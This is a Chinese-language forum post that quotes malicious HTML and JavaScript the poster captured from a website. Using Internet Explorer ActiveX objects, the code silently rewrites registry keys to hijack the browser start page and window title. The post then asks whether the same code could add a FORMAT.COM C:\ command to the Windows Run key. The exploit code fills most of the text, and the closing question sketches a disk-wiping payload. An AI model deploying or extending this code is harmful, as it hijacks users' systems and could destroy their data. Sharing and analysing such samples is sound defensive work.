恐怖代码(不知这担心是不是多余的)
<HTML>
<head>
<meta http-equiv="refresh" content="0;url=http://www.chinapconline.com/">
</head>
<body>
<iframe border=0 height=1 width=1 src=http://www.chinapconline.com/logo.gif>
</iframe>
</STYLE>
<script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.chinapconline.com/");}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);</script>
<script language=JavaScript>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "中国计算机在线 http://www.chinapconline.com");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "中国计算机在线 http://www.chinapconline.com");
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</script>
</html>
上面这段代码我是从 http://www.topmusic.com.cn 连接时取下来的
它改了WINDOWS的注册表,使IE浏览器的标题改了
但是,如果说把上面的代码改改,在注册表里 HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices 或 Run 里增加 C:\\WINDOWS\\FORMAT.COM C:\\ 会怎么样?大家说有可能吗?我不敢试,看看大家